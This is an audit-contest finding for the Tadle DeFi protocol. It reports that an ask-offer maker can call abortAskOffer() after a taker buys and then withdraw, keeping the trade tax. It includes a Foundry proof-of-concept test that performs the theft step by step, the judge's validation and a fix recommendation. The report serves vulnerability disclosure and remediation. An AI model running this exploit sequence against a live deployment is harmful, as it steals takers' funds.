Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker can steal trade tax by calling `abortAskOffer()` after taker bids on ask offer

wellbyt3

Summary

Attacker can create an ask offer using createOffer() with a non zero CreateOfferParams.eachTradeTax. When a taker buys the attackers offer by calling createTaker(), attacker can call abortAskOffer() and then withdraw() their funds, stealing the trade tax. This can be done risk free.

Vulnerability Details

Here's a POC that can be added toPremarket.t.sol:

function testAbortAfterTakerOnAskOffer() public {
// 1. Attacker (User) creates an offer
vm.startPrank(user);
uint256 attackerStartingBalance = mockUSDCToken.balanceOf(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
20000000e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
​
// 2. Taker (user2) buys the offer
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 1000);
vm.stopPrank();
​
// 3. Attacker aborts the offer
vm.startPrank(user);
address stockAddr = GenerateAddress.generateStockAddress(0);
preMarktes.abortAskOffer(stockAddr, offerAddr);
vm.stopPrank();
​
vm.startPrank(address(capitalPool));
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
​
// 4. Attacker withdraws their tokens
vm.startPrank(user);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
uint256 attackerEndingBalance = mockUSDCToken.balanceOf(user);
vm.stopPrank();
// 5. Attackers ending balance is greater than their starting balance due to trade tax
assertGt(attackerEndingBalance, attackerStartingBalance);
}

Impact

Loss of funds.

Tools Used

Manual review / Foundry

Recommendations

Consider adding logic that returns the trade tax to Taker on abortOffer().

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-immediate-withdrawal-allow-maker-steal-funds

Valid high severity, given orginal offer makers are not a trusted entity to enforce a settlement. The trade tax set by the maker should be returned back to the takers to avoid abuse of abortion of ask offers to steal trade tax from takers. Note for appeals period: See issue #528 for additional details

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.